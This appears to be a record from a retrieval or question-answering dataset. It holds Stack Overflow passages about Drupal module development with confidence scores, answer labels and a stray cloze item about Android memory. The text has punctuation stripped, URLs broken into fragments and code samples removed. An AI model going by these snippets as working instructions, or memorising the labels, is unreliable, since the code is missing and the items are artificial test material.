guide for Drupal for Educational Institutions https : www.drupal.org resource-guides drupal-for-educational-institutions .", "A rendering array has the pro of being easily altered from third-party modules through hook page build http : api.drupal.org api drupal-modules system system.api.php function hook page build 7 or hook page alter http : api.drupal.org api drupal-modules system system.api.php function hook page alter 7 .", "If you are used to Drupal then you might find this easier in Drupal Views .", "What version of Drupal are you using", "How these will be possible in Drupal", "Sorry this was Drupal 7 .", "@acrosman It s an event entity that I generated with Drupal Console drupal generate : entity : content", "Create a configuration page : .. . .. . You create blocks in a module using hook block info http : api.drupal.org api drupal-modules block block.api.php function hook block info 7 you define an array like : .. . .. . You ll configure the values in hook block configure http : api.drupal.org api drupal-modules block block.api.php function hook block configure 7 : .. . .. . Once you have defined your blocks you need to tell them how to display with hook block view http : api.drupal.org api drupal-modules block block.api.php function hook block view 7 .", "This table is UNIONed with the search index table via hook query alter https : api.drupal.org api drupal-modules 21system 21system.api.php function hook query alter 7 .. . .. . .. . Drupal then generates the almost correct query.. .", "I kept getting this error : .. . .. . Fatal error : Class Drupal dino roar DinoServices HelloGenerator not found in C : Users myName Sites devdesktop drupal-8.0.5 modules dino roar src Controller RoarController.php on line 11 .. . .. . Folder structure :", "The 3 basic strategies you could use are listed on Search interface http : api.drupal.org api drupal modules--search--search.module group search 6 btw .", "It requires an extra request but instead you get the Drupal hook system and a more maintainable solution that wont break if new modules are added .", "All the configuration must go on admin pages and should store those configurations in a separate table or any existing tables create by Drupal or modules on which your modules depends .", "Have a look at hook admin paths http : api.drupal.org api drupal-modules system system.api.php function hook admin paths 7", "While Webform is a great module with a huge following it does not integrate with standard Drupal field or entity aware modules .", "Here is how to work with files in Drupal 7 http : drupal.org documentation modules file .", "someone with create tag powers please tag this question drupal-feeds", "However drupal does allow you to add multiple values to the same field .", "No luck with Drupal 7 .", "Drupal Version 6.25 .", "I am working on Drupal .", "You could write a simple drupal module implementing hook cron https : api.drupal.org api drupal-modules 21system 21system.api.php function hook cron 7 to check certain conditions every time the cron is executed .", "All I had to do in this example is using hook-menu http : api.drupal.org api drupal-modules system system.api.php function hook-menu 7 and knowing available form items from drupal form-api reference http : api.drupal.org api drupal developer topics forms api reference.html 7 .", "..I want the equivalent for Drupal-8 .", "I am using Drupal 7 .", "So not really via a pick-the-modules-that-you-need approach even though in theory you could do that but that requires quite a bit of Drupal experience .", "Contrib modules can react to when users are being inserted in the database and without Drupal you ll miss this and would need to implement each module by hand .", "It is also easy to build a settings form-for that see for example http : api.drupal.org api drupal modules--menu--menu.admin.inc function menu configure 7 .", "See geeksandgod.com tutorials computers cms drupal http : geeksandgod.com tutorials computers cms drupal creating-simple-drupal-module for example .", "Easy booking profile is powered by Drupal Rooms https : www.drupal.org project rooms and Drupal Commerce https : www.drupal.org project commerce - widely used and popular contributed decisions which means active maintaining and timely technical support .", "If this is Drupal specific then you should specify it in your question .", "A starting point would be to read about AHAH in Drupal : drupal.org node 348475 https : www.drupal.org node 348475", "I working drupal-8 couple of day have basic knowledge about drupal-8 .", "i find more about module invoke then get the result it used in drupal-7 if i want use drupal-8 it possiable", "In case you are working in drupal-7 .", "I m using Drupal 6", "Need a drupal help .", "What version of Drupal", "I m not a drupal professional", "I am new to Drupal .", "My Drupal version is 7.39 .", "With the Drupal core update no problem", "Drupal : 7.34 .. . 2 .", "I am using Drupal 8 .", "I have a Drupal Module example .", "I am working with Drupal 6 .", "Module invoke all is your ticket to creating your own hooks : .. . .. . see the API : .. . .. . http : api.drupal.org api drupal includes--module.inc function module invoke all .. . .. . and then look at this great writeup : .. . .. . http : web.archive.org web 20101227170201 http : himerus.com blog himerus creating-hooks-your-drupal-modules .. . .. . edit : was at http : himerus.com blog himerus creating-hooks-your-drupal-modules but this is now gone .. . .. . Once you ve made your hook it can be called in another module using :", "I m trying to extend the functionality of a Drupal website to include Tropo service .", "your site cannot be Drupal 5 and Drupal 6 at the same time .", "There is a special Drupal related Stack Exchange platform called Drupal Answers at drupal.stackexchange.com -- Regarding your question Drupal search will automatically apply the language currently displayed on Marathi version it will display Marathi results and vice versa .", "I am currently using Ubercart for Drupal 8 .", "I am using Views send module https : www.drupal.org project views send to send email through drupal .", "I ve been working on a Drupal site and pretty much know how to install Drupal on the localhost .", "For Drupal 7 see the new drupal static function : http : api.drupal.org api drupal includes 21bootstrap.inc function drupal static 7", "You could also use user login hook https : api.drupal.org api drupal-modules user user.api.php function hook user login 7 .", "You can use this patch : .. . .. . Read more in Throwing Notice : Undefined index : in locale field entity form-submit line 438 of path to drupal installation modules locale locale.module .", "Using Drupal Webform Ajax https : www.drupal.org project webform ajax Module may help you .", "Since I am new to drupal I do not have an idea about drupal form .", "Or is there any module for this function in Drupal 7", "in drupal-6 . i have this hook-menu .", "In Drupal 7 the limit is expanded to 9 .", "Just to update the block in drupal-8 .", "This is my preferred Drupal 7 method :", "I am a Drupal beginner is there a mistake", "so it should be done with Drupal Ajax .", "I have Drupal 7 Open Atrium 2 site hosted on Pantheon .", "I m using Drupal 6 ." ] }
{ "confidence": [ 81.66419982910156, 77.73332977294922, 74.97069549560547, 72.13270568847656, 71.8794174194336, 71.67110443115234, 70.44609069824219, 69.0115737915039, 68.45741271972656, 67.55078125, 67.46157836914062, 66.83493041992188, 66.50749969482422, 66.47313690185547, 66.40299224853516, 66.18296813964844, 66.07643127441406, 65.65601348876953, 65.1029281616211, 65.02464294433594 ], "content": [ "Question : I have a site that is running on drupal-7 and uses civicrm 4.4.1 . I need the events to be included in the search results . So far all I have found was dated documentation on civicrm that required modules that are not available for Drupal 7 . I also tried the search page module and it is not grabbing the events . .. . Answer : We create content in Drupal and link it to Civi event pages using a Computed Field https : www.drupal.org project computed field that matches Event Name to the node s Title field and Event Start Date to the node s Event Date field . Sample code for the Computed Field : .. . .. . Then you can use a bit of display code like this : .. . .. . Since we have the Civi event code saved to the node we can also use any native Drupal search or Views functionality and get creative in Drupal templates as needed . Other options could be to write your own module that does something like this or consider using the Civi REST endpoint sites all modules civicrm extern rest.php entity Event action getlist json sequential : 1 api-key yoursitekey key yourkey with Drupal Feeds https : www.drupal.org project feeds and Feeds Extensible Parsers https : www.drupal.org project feeds ex modules for a solution that creates and updates the Drupal events with minimal code required .", "Question : I m very new to web dev as well as Drupal . I ve made a simple site using Drupal Commerce https : www.drupal.org project commerce and Ubercart https : www.drupal.org project ubercart modules for food order and delivery functions . I wanted to include an option to reserve tables and Drupal s Open Restaurant https : www.drupal.org project restaurant seemed the most straight forward way to go . Now I know that Open Restaurant https : www.drupal.org project restaurant is a distribution and cannot be installed like simple modules . However I want only the reservation option . How do I go about installing the relevant parts ON MY EXISTING site My Drupal and module details are as follows : .. . .. . 1 . Drupal : 7.34 .. . 2 . Commerce : 7.x-1.11 .. . 3 . Ubercart - Core modules : 7.x-3.8 .. . .. . If anyone could suggest a simple table reservation system that would be great too . Comment : Here is a comparison of booking modules groups.drupal.org node 137544 https : groups.drupal.org node 137544 also think if you post this question on drupal.stackexchange.com http : drupal.stackexchange.com you will get more answers.cheers Comment : Your using both commerce and ubercart why Comment : @sokratis - thanks for the tip . And those booking modules are mainly for hotels 1 day 1 hr not tables Comment : @2pha - I was instructed to by my teacher . I am a Drupal beginner is there a mistake Comment : I have never heard of someone using both ubercart and drupal-commerce together . They are both applications sets of modules for commerce . I expect the backend of the site would become quite confusing if both were used if the site worked at all . .. . Answer : The Open Restaurant distribution is assumed to be installed as a package . So not really via a pick-the-modules-that-you-need approach even though in theory you could do that but that requires quite a bit of Drupal experience . Therefor I recommend you to have a look at the various reservation related Drupal extensions that are available today as further detailed below . Modules with a stable D7 release .. . .. . Here are some modules that might fit which have a stable D7 release quotes are from their project pages : .. . .. . Availability Calendars https : www.drupal.org project availability calendars D6 or D7 . .. . allows you to add an availability calendar to entities . Example use cases are tourist accommodation e.g . bed and breakfast holiday homes or self catered apartments and car or motor bike rental . .. . An availability calendar shows your customers at what dates your accommodation is still available and at what dates it is already booked . Simple Reservation https : www.drupal.org project simple reservation D6 or D7 . .. . provides a simple and easy way to reserve items which can be created by the administrator . Examples for it s usage can be hotel rooms boats cars airplanes basically anything you can think of which can be reserved by one individual . .. . The module provides the possibility to create reservations for other users dependent on the permissions and provides also restrictions in the maximum number of reservations a user can make and a maximum time a reservation can be made in advance . .. . There is NO support for payment booking and what ever one could imagine beyond the pure and simple reservation and it is also NOT intended to create more than this simple functionality . MERCI https : www.drupal.org project merci D6 or D7 . .. . can extend any content-type into a list of unique reservable items like studios or buckets of interchangeable items like DV cameras . We followed the approach used by Organic Groups Feed API and Scheduler and added MERCI s configuration to the Edit tab of those content types . Resource Conflict https : www.drupal.org project resource conflict D6 or D7 . .. . allows for users to book resources for use during events . For example a student can book a microscope for use within their lab . Room Reservations https : www.drupal.org project room reservations D7 . .. . for use by academic libraries to manage access to and use of their study rooms . .. . All academic libraries have rooms set aside for student study and collaboration . These rooms are often available on a first come first serve basis . Many libraries would like to have a room reservation system that would allow students to better plan their use of these often scarce resources but setting up and administering such a system without computer support is a very difficult and time consuming undertaking . .. . The Room Reservation module was created to meet this need . It allows any library to very quickly put together a reservation system customized to its own particular requirements . And once the system has been set up it performs all the functions necessary to manage the use of group study rooms with practically no involvement from the library staff . .. . Although this application was written specifically for use by academic libraries it could also be useful to any facility that provides rooms that can be reserved and used on a short term basis . Rooms https : www.drupal.org project rooms D7 . .. . is a booking and room management solution for hotels vacation rentals and B Bs . Its module page also mentions some related modules you may want to look at such as : .. . .. . Rooms Package http : drupal.org project rooms package : Define special offers for bookings . Rooms Availability Constraints http : drupal.org project rooms availability constraints - Allows admins to define availability constraints such as the minimum period of a booking . Rooms Views http : drupal.org project rooms views - Provides a Rooms availability filter and a Booking form field to improve the Views integration for Rooms . Modules with an unstable D7 release .. . .. . Some more modules that might fit which do have a D7 release but not a stable version yet quotes are from their project pages : .. . .. . Booking Time Slots https : www.drupal.org project booking timeslots D6 or D7 but only a dev version for D7 . .. . provides Time Slots Booking functionality . .. . The Drupal 7 version allows you to set-up schedule for Venue Facility so users can book slots e.g . classes within specified opening hours . Note : This module seems to still not have a stable release for D7 .. . .. . .. . Resource Booking https : www.drupal.org project resource booking D6 or D7 but only a beta version for both . .. . provides a widget that can be included in any content-type and enable resource booking . Agreservations https : www.drupal.org project agreservations D6 or D7 but only a beta version for both . .. . to handle reservations of resources . Hotel Booking System for Ubercart https : www.drupal.org project uc hotel D6 or D7 but only a beta version for both . .. . The uc hotel module is a hotel booking system for Drupal and Ubercart https : www.drupal.org project ubercart . .. . It does not manage individual rooms but rather lets you create room types and set how many of each type are available for specific dates on the calendar . Each room type can be assigned a different rate or be based off a single master rate and have a modifier applied to adjust that rate by a certain amount . Reservations https : www.drupal.org project reservations D7-alfa version only . .. . consists of an API that enables nodes of any content-type to be reserved based by users by role as either a resource of a bucket . Using the bucket configuration works more like a hotel or rental car system where customers reserve a type or item and the specific item they get depends on what is available at the time the reservation starts . This project includes multiple sub-modules including Reservation UI which provides a Reservation Request - Confirmation - Checkout - Check In workflow driven Views making to easy to modify . Additional modules can enforce custom validation add pricing or add additional availability to the basic hours of operation . Note : the module page contains about 7 additional related modules . Reservation https : www.drupal.org project reservation D7-alfa version only . .. . allows site users to reserve a unit . A unit could be anything but the most common are rooms or pieces of equipment . Site builders create the units that can be reserved adding any additional fields . Validation of reservations is done using Rules which can be customized by the site builder . Modules integrating with other booking systems .. . .. . Planyo online reservation system https : www.drupal.org project planyo reservation system D6 or D7 . .. . a bridge to Planyo online reservation system . Booking.com API https : www.drupal.org node 1612560 D7 but only a dev version . .. . a 3rd party integration with Booking.com service . .. . This module provides a framework accessing Booking.com API for Drupal developers . Available distributions .. . .. . There are a few Drupal Distributions about bookings reservations avaialble also though they all seem to only have a beta version for D7 such as quotes are from their project pages : .. . .. . Open Hotel https : www.drupal.org project openhotel . .. . helps you create a full featured Hotel site with online booking and online availability . Restaurant https : www.drupal.org project restaurant . .. . has everything you need to kickstart your restaurant website . It comes with a menu management system a reservation system a customizable blog and events management . Easy Booking https : www.drupal.org project easy booking . .. . to set up a website that will suit all your needs in managing your own hotel inn or hostel online . .. . It gives a set of options for visitors to make room reservations contact hotel administration or just follow hotel s newsletter to be aware of all special offers and discounts . Easy booking profile is powered by Drupal Rooms https : www.drupal.org project rooms and Drupal Commerce https : www.drupal.org project commerce - widely used and popular contributed decisions which means active maintaining and timely technical support . Booking Systems Comparison .. . .. . Refer to Comparison of Booking System modules https : groups.drupal.org node 137544 for a comparison of various modules related to bookings reservations . This comparison contains some other modules not mentioned in my answer here that might be worth considering also e.g . in case of requirements that are slightly different as compare to those in the question here . My recommended shortlist .. . .. . I d consider the list of modules mentioned in Modules with a stable D7 release as my shortlist for further evaluation i.e : .. . .. . 1 . Availability Calendars https : www.drupal.org project availability calendars Reported installs : 2.061 sites . 2 . Rooms https : www.drupal.org project rooms Reported installs : 1.575 sites . 3 . MERCI https : www.drupal.org project merci Reported installs : 441 sites . 4 . Resource Conflict https : www.drupal.org project resource conflict Reported installs : 329 sites . 5 . Simple Reservation https : www.drupal.org project simple reservation Reported installs : 202 sites . 6 . Room Reservations https : www.drupal.org project room reservations Reported installs : 156 sites . Remark : the Rooms https : www.drupal.org project rooms module seems like overkill as an answer to the question about http : drupal.stackexchange.com questions 167792 recommended-modules-to-make-a-booking-of-a-few-hours-without-pricing-features . These modules appear to have sufficient features that you need AND they have a stable not alfa or beta only release . How to pick the module that fits best .. . .. . I ve ordered my recommended shortlist above by number of reported installs . Though that is often a good first indicator it should not be used as the only criterium to pick a module . So do your homework to pick the right one for you . E.g . by using criteria such as those I often use for selecting module as mentioned in the community documentation about Maintenance Scorecards https : www.drupal.org node 2363985 scorecards . Here is the intro about it from that page : .. . .. . .. . contains a list of 23 criteria 28-5 that might help to evaluate the maintenance and support of contributed modules . Below is an attempt to apply those criteria to each of the native charting modules .. . Obvious these scorecards are related to charting modules but the same criteria are applicable IMHO wheneven you need to decide between multiple modules . Also note that I ve ordered my shortlist above by number of reported installs . Though that is often a good first indicator it should not be used as the only criterium to pick a module . So do your homework to pick the right one for you . Disclosure : I m the author of that community documentation page partially inspired by the 28 criteria in the issue linked near the beginning of the scorecards paragraph .. . I hope this does not violate the site s policy on self-promotion http : drupal.stackexchange.com faq promotion .", "Question : null .. . Answer : I am trying to sketch out a Drupal 8 based solution by which content is authored in a modular way with an arbitrary number of different modular blocks of content similar to Sir Trevor https : madebymany.github.io sir-trevor-js that would also allow nodes to be pushed or pulled to other separate Drupal 8 installs similar to content push https : www.drupal.org project content push . So far I can t seem to find any obvious solutions most seem to require knowledge of the content configuration beforehand . Is there an obvious solution I m overlooking or just ignorant of Comment : Sounds like a combination of the Paragraphs Module : drupal.org project paragraphs https : www.drupal.org project paragraphs and the deploy module : drupal.org project deploy https : www.drupal.org project deploy Comment : This seems pretty close I m not sure how easily it will allow content to move between Drupal installations . It doesn t quite cover every use-case that I might need so I wish how easy to extend was a little more obvious but it s definitely a strong contender for what I need . Thanks Comment : The purpose of deploy is to move content between installations and to eventually cover all reasonable use cases but nothing about that process is easy so easy extension to complex workflows are hard to envision . I suggest you try those modules and see how far they get you and attempt your extensions so you can asked detailed questions . You may get better assistance to non-programming Drupal questions on drupal.stackexchange.com http : drupal.stackexchange.com .", "Question : Is it possible to create your own hook in a Drupal module for other Drupal modules to consume If not is there a mechanism in Drupal for third party developers to provide hooks If everything s been a no so far where-in the core are the list of hooks implemented As I understand things Drupal modules work on a event like system called hooks http : api.drupal.org api drupal includes--module.inc group hooks 7 . When you create a new module you create functions that implement a hook . For example there s a hook delete hook . If you implement a function in your module .. . .. . this function will be called whenever a node is deleted . What I want to know is is there a way or me as a third party module developer to create my own hooks . Say something like hook alanskickbutthook so that other module developers could subscribe to this hook . If this is possible how do you do it I ve looked around the official docs and haven t found much there and I still get a little dizzy when I start poking around the Drupal source code I understand recursion but don t spend enough time thinking about recursive problems . Full solutions are welcome but I m happy to just be pointed in the right direction . .. . Answer : If i recall.. . http : api.drupal.org api drupal modules--node--node.api.php function hook delete 7 .. . .. . does ths help been a while since I messed with Drupal . To create offer custom Drupal hook you must implement in a ways such that calling the hook with module invoke or module invoke all does not make any conflicts with other module hooks . The name of the hook should be unique and it should offer all specific feature in such a general way that it doesn t require any type of adjustments with code . All the configuration must go on admin pages and should store those configurations in a separate table or any existing tables create by Drupal or modules on which your modules depends . The hook should be easy to implment by other modules and it should not be much complex to implement . When you create custom hooks your module s act s as API provider . Comment : Sorry you seen this already :", "Question : i tried changing the install.core.inc the line require-once DRUPAL ROOT . modules but i did get this message : Fatal error : Call to undefined function field attach load in F : xamp htdocs cms php dp7 1 includes entity.inc on line 354 .. . Answer : In Drupal 7 it considered best practice to keep modules in the sites modules directory . And it is considered very bad practice to edit any lines in Drupal core such as install.core.inc .. . .. . See Drupal s Never Hack Core documentation https : www.drupal.org best-practices do-not-hack-core and their primary reasons : .. . .. . You will make it complicated difficult or nearly impossible to apply site updates such as Security and bug fixes . You will make it difficult for those that come after to maintain the site . You could possibly leave your site vulnerable to exploits . It is not impossible but it would be considered a very bad hack of core create a lot of technical debt and overhead that would be experienced with every upgrade and render other modules and functionality like drush useless without hacking them as well .", "Question : Hi I am getting this kind of error in creating custom node type with custom-fields : .. . .. . Undefined index : field block pre login body in locale field entity form-submit line 438 of D : xampp htdocs projects foo modules locale locale.module . Custom field and custom node type are created thru hook-install : .. . .. . Now After I ve installed my custom module in Drupal and add content thru the custom node type I ve created the locale.module prompts an error after creating or updating the content that is created with that content-type any ideas how to fix this Thanks EDIT .. . .. . Note : this is drupal module and I need a more detailed explanation as how drupal-field-api works with this because the field block pre login body is created in the index once you ve called the field create field method . Comment : possible duplicate of PHP : Notice : Undefined variable and Notice : Undefined index http : stackoverflow.com questions 4261133 php-notice-undefined-variable-and-notice-undefined-index .. . Answer : You can use this patch : .. . .. . Read more in Throwing Notice : Undefined index : in locale field entity form-submit line 438 of path to drupal installation modules locale locale.module . https : www.drupal.org node 2356283", "Question : null .. . Answer : I would like to create an image manager for a running Drupal website . This page should be able to add and remove the images with its name and other attributes . How could I achieve this using Drupal modules I am new to drupal and I have good experience with PHP only . The only thing I got to do with this image manager is to have the images in the front end dynamically . I am working with Drupal 6 . This is my first module development . I could not find this module on modules page . Please give me suggestion to make some changes . Please see my code as follows : .. . .. . iisimages.module .. . .. . iisimages.install .. . .. . iisimages.module", "Question : I install Leaflet and Leaflet More Maps modules in Drupal 7 . Map looks like on image . How to set custom layers names http : i.imgur.com 7ouW6YB.png .. . Answer : I already found answer thx to RdeBoer . These map machine names are the indices of map info ... . in file leaflet more maps.module . So you could change these . .. . .. . Original comment https : www.drupal.org node 2461813 comment-10064840", "Question : I am trying to make a module for Drupal 7 that provides a block and has certain configuration settings . Now what I want is that I want to provide 5 blocks to the user so that they can use different settings in each block . In other words I want to provide each block a separate set of settings . How can I do that Edit : Actually I have made a module that shows a single block . If you have used superfish menu module then you can see there that they allow us an option to choose how many block should be made available . So that for each block we can use different menu to show . I am talking about that functionality .. . Answer : Create a configuration page : .. . .. . You create blocks in a module using hook block info http : api.drupal.org api drupal-modules block block.api.php function hook block info 7 you define an array like : .. . .. . You ll configure the values in hook block configure http : api.drupal.org api drupal-modules block block.api.php function hook block configure 7 : .. . .. . Once you have defined your blocks you need to tell them how to display with hook block view http : api.drupal.org api drupal-modules block block.api.php function hook block view 7 . Something like : .. . .. . Then you ll use the block number and configuration to determine the output : Comment : hi @danielson317 Actually I have made a module that shows a single block . If you have used superfish menu module then you can see there that they allow us an option to choose how many block should be made available . So that for each block we can use different menu to show . I am talking about that functionality . Comment : That would have been good info to put into the question . Let me revise my answer a bit for you . Comment : Thank you very much I can extend my module based on this information . Comment : @CAR182 doesn t have the reputation to comment yet but they pointed out : Would like to add you have an x+ 1 missing from your hook block info code . Without this you get a infinite while-loop that destroys your module....not fun.. . took me damn ages to find too haha", "Question : Good day to you . I have multisite installation of Drupal 7 which means that I have this folders in my sites folder : .. . .. . And in every of this folders I have also modules and themes folders . If I use Install new module link on modules page admin modules from any domain Drupal tries to download modules in all modules folder instead of domain.x modules . May be I use not correct sentence to google it but I do not see similiar problems on Internet so may be it is just my problem Please tell me if you know how to fix that . .. . Answer : I found good article for multisite install here .. . .. . http : mydons.com drupal-7-multisite-install-steps-in-linux .. . .. . http : mydons.com drupal-7-multisite-install-steps-in-windows", "Question : I am very new to Drupal and attempting to build a module that will allow admins to tag nodes with keywords to boost nodes to the top of the search results . I have a separate DB table for the keywords and respective node IDs . This table is UNIONed with the search index table via hook query alter https : api.drupal.org api drupal-modules 21system 21system.api.php function hook query alter 7 .. . .. . .. . Drupal then generates the almost correct query.. . ...I need that problem line to read.. . .. . .. . ...what hook can I use to add that OR condition I don t want to hack Drupal s core . I don t want to change the union subqueries not my decision . I will optimize queries later - functionality is more important . Thanks smart people .. . Answer : Thanks to some helpful suggestions from @Clive with hook module implements alter and a lot of trial and error I have finally solved this issue . Here is the final code.. .", "Question : Is it possible to create your own hook in a Drupal module for other Drupal modules to consume If not is there a mechanism in Drupal for third party developers to provide hooks If everything s been a no so far where-in the core are the list of hooks implemented As I understand things Drupal modules work on a event like system called hooks http : api.drupal.org api drupal includes--module.inc group hooks 7 . When you create a new module you create functions that implement a hook . For example there s a hook delete hook . If you implement a function in your module .. . .. . this function will be called whenever a node is deleted . What I want to know is is there a way or me as a third party module developer to create my own hooks . Say something like hook alanskickbutthook so that other module developers could subscribe to this hook . If this is possible how do you do it I ve looked around the official docs and haven t found much there and I still get a little dizzy when I start poking around the Drupal source code I understand recursion but don t spend enough time thinking about recursive problems . Full solutions are welcome but I m happy to just be pointed in the right direction . .. . Answer : Module invoke all is your ticket to creating your own hooks : .. . .. . see the API : .. . .. . http : api.drupal.org api drupal includes--module.inc function module invoke all .. . .. . and then look at this great writeup : .. . .. . http : web.archive.org web 20101227170201 http : himerus.com blog himerus creating-hooks-your-drupal-modules .. . .. . edit : was at http : himerus.com blog himerus creating-hooks-your-drupal-modules but this is now gone .. . .. . Once you ve made your hook it can be called in another module using : Comment : In the tutorial you posted what s calling the taxonomy rockstar generate layouts function apologies for the newbie-style question . I m new enough to Druapl that I can t quite tell where things belong in the system . Comment : edited above to show how to call said newly created hook : Comment : Some corrections tipps : a args is not by reference when using module invoke all . b If you want to pass something by reference use either drupal-alter forces alter suffix on hook name or module implements + a loop and then call the implementations directly . c The recommended way to document hooks is in a yourmodule.api.php file see core for examples . d A common pattern in D7 when collecting information if to use an info suffix and also call drupal-alter on that . Example php stuff module invoke all yourmodule stuff info drupal-alter yourmodule stuff info stuff . Comment : good catch on the reference...I was thinking of drupal-alter when I added it edited Comment : @jpstrikesback thanks for the clarification . One more clarifying question . Where should you be calling module invoke all from Am I correct that you d implement one of the core module s early hooks and put it in there Or something else", "Question : Is it possible to create your own hook in a Drupal module for other Drupal modules to consume If not is there a mechanism in Drupal for third party developers to provide hooks If everything s been a no so far where-in the core are the list of hooks implemented As I understand things Drupal modules work on a event like system called hooks http : api.drupal.org api drupal includes--module.inc group hooks 7 . When you create a new module you create functions that implement a hook . For example there s a hook delete hook . If you implement a function in your module .. . .. . this function will be called whenever a node is deleted . What I want to know is is there a way or me as a third party module developer to create my own hooks . Say something like hook alanskickbutthook so that other module developers could subscribe to this hook . If this is possible how do you do it I ve looked around the official docs and haven t found much there and I still get a little dizzy when I start poking around the Drupal source code I understand recursion but don t spend enough time thinking about recursive problems . Full solutions are welcome but I m happy to just be pointed in the right direction . .. . Answer : For Drupal 6 7 drupal-alter https : api.drupal.org api drupal includes 21module.inc function drupal-alter 7.x is probably the best option . As stated in the module invoke all documentation https : api.drupal.org api drupal includes 21module.inc function module invoke all 7.x .. . .. . All arguments are passed by value . Use drupal-alter if you need to pass arguments by reference . In Drupal 8 use ModuleHandler : : alter https : api.drupal.org api drupal core lib Drupal Core Extension ModuleHandler.php function ModuleHandler 3A 3Aalter 8.2.x . Passes alterable variables to specific hook TYPE alter implementations .", "Question : I recently downloaded a fully functional drupal-6 site using FTP . Though I installed the Drupal instance I got the modules and the themes that were in the sites all folder but wasn t able to get the actual site configuration Configuration and Settings of those modules .. . .. . Any help in this regard would be greatly appreciated . Comment : You have migrated the database also right Right : Comment : Yes I also migrated the database Should that be done after drupal is installed or before I did it after installing drupal because if I did it before installation it asked me to empty the database or view the existing site which was not installed . .. . Answer : Assuming this is a follow-on of : Drupal Site install on localhost after downloading source using FTP http : stackoverflow.com questions 11807752 drupal-site-install-on-localhost-after-downloading-source-using-ftp 11809314 11809314 .. . .. . If you get the Drupal install screen when accessing a site you ve just migrated to your localhost it s likely because you re trying to access the site locally using a URI that s different than the remote site AND this URL does not fall within the directories that Drupal searches when looking for a settings.php file see comments starting about line 20 in the default.settings.php file of the sites default folder . You have two options : .. . .. . Option 1 : Create a symbolic link on your localhost that points requests to your local URI to the directory hosting the live site . This would look something like this : .. . .. . Option 2 : Create a sites sites.php file that maps URI s to the correct folder hosting your settings.php file . For example you d add this to sites sites.php if you left your settings.php file in the sites default folder : .. . .. . Simply put this translates into : Serve sites mysite.dev www.mysite.dev mysite.com and www.mysite.com from the folder located at sites default . I usually use the second option . It s more sustainable OS independent and can be committed to source control . .. . .. . Update based first 5 comments : .. . .. . You need to edit the .htaccess file in your Drupal install . Look for this section : .. . .. . And do as it says uncomment out the line and set it to your subdirectory . Comment : Thank you @roberthernandez for the reply but still in small fix : The name of my local folder is abhi which is the site that I will be working on localhost abhi is my URL . I used the second option as suggested and created a sites sites.php . php sites rtd default sites www.rtd.dk default sites rtd default sites www.rtd default But the issue is that I am just able to load the first page and not all the other modules related to the site . For example localhost abhi admin or localhost abhi build modules return a white screen of death Comment : Good . So works then Comment : No Not as of now . I still am trying to figure out where I went wrong . Comment : You need to enable mod-rewrite on your localhost . Comment : The proper steps for migration are : 1 Put live site in maintenance mode 2 Backup live site and database 3 Restore database locally 4 Restore files locally 5 Check update your settings.php file file folder permissions and sites.php mappings . If it doesn t work after that you re going to need more direct help as it s not Drupal related it s likely a difference in your web server configuration . Add a bounty .", "Question : Is it possible to create your own hook in a Drupal module for other Drupal modules to consume If not is there a mechanism in Drupal for third party developers to provide hooks If everything s been a no so far where-in the core are the list of hooks implemented As I understand things Drupal modules work on a event like system called hooks http : api.drupal.org api drupal includes--module.inc group hooks 7 . When you create a new module you create functions that implement a hook . For example there s a hook delete hook . If you implement a function in your module .. . .. . this function will be called whenever a node is deleted . What I want to know is is there a way or me as a third party module developer to create my own hooks . Say something like hook alanskickbutthook so that other module developers could subscribe to this hook . If this is possible how do you do it I ve looked around the official docs and haven t found much there and I still get a little dizzy when I start poking around the Drupal source code I understand recursion but don t spend enough time thinking about recursive problems . Full solutions are welcome but I m happy to just be pointed in the right direction . .. . Answer : For example say you wanted to create hook my custom goodness for others to use . Then just place code like this in your module at the point where you want the hook to happen : .. . .. . Now if anybody wanted to use your hook then they could do so in their own module like this : .. . .. . There is a more complete explanation here : .. . .. . http : tylerfrankenstein.com code drupal-create-custom-hook-for-other-modules", "Question : null .. . Answer : I m using Drupal 7 https : www.drupal.org drupal-7.0 with the Profile 2 Module https : www.drupal.org project profile2 . I have some custom-fields which are all working well for the most part . I have a hook user update function in my module where I want to take action based on the value of a Profile2 field . I m testing this as an administrative user editing the user-profile and saving . The hook function contains the following : .. . .. . And outputs this : .. . .. . ...which is correct . So I should easily be able to get the value or safe value . But when I do this : .. . .. . I get this : .. . .. . Fatal error : Cannot use string offset as an array in .. . sites all modules ssvalidate ssvalidate.module on line 155 .. . .. . When I do this : .. . .. . I get this : .. . .. . NULL .. . .. . How can this be When I view the entire field array it has everything in it . As soon as I try accessing the elements of that nested array things go haywire . Does anyone have any idea of what could be going on", "Question : null .. . Answer : I am using Drupal version 8.1.1 and installed following modules for creating an event listing feature . I have created a new content-type as Events and added a date field to it . When I try to create a view for this Event it does not show the option Add view from template . Should I install some other modules or configure some thing else in Drupal 8 for this Please advice .", "Question : I recently downloaded a fully functional drupal-6 site using FTP . Though I installed the Drupal instance I got the modules and the themes that were in the sites all folder but wasn t able to get the actual site configuration Configuration and Settings of those modules .. . .. . Any help in this regard would be greatly appreciated . Comment : You have migrated the database also right Right : Comment : Yes I also migrated the database Should that be done after drupal is installed or before I did it after installing drupal because if I did it before installation it asked me to empty the database or view the existing site which was not installed . .. . Answer : Yes the steps are correct . Is it the design that is not coming or is the functionality of views missing If its only the css that is not coming then the issue could be that your theme is not getting applied . Check if the theme folder correctly exists and disable enable the theme . Comment : The Functionality of the views and the theme . Both of them are missing . The modules and the theme folder exist and the permissions are also totally all right .", "Question : I was searching online for a tutorial to create a form which is displyaed on a page Shall we display a form inside a module as we display content using module and block Since I am new to drupal I do not have an idea about drupal form . I downloaded and installed the example form module . But I do not know where this form will get displayed . I downloaded it from here http : drupal.org node 1121110 .. . Answer : It s not that complicated even if you are new to drupal . All I had to do in this example is using hook-menu http : api.drupal.org api drupal-modules system system.api.php function hook-menu 7 and knowing available form items from drupal form-api reference http : api.drupal.org api drupal developer topics forms api reference.html 7 . Below is an example for what you re trying to do .", "Question : I am very new to drupal . I am creating cars website using drupal . Need to create cars model content-type . Please look example site http : automobiles.honda.com all-models.aspx .. . .. . Cars have many models and it each model has-many features page like http : automobiles.honda.com accord-coupe .. . .. . http : automobiles.honda.com accord-coupe price.aspx .. . .. . http : automobiles.honda.com accord-coupe specifications.aspx .. . .. . I don t know how to create a content-type for this type requirement . Can I do like this in drupal Is there any related modules available for this requirement Please give me some ideas . .. . Answer : You can use the in-built content-type creation interface . Go to struture content-type and add new content-type along with the fields you need . Also before you start building the site learn more about Drupal . This will help you a lot" ] }
[ "yes-answer-long", "yes-answer-short" ]
drupal
UNK_RELATION
android-memory@android@65
android-memory -- android-memory is generally runtime memory of @placeholder device .
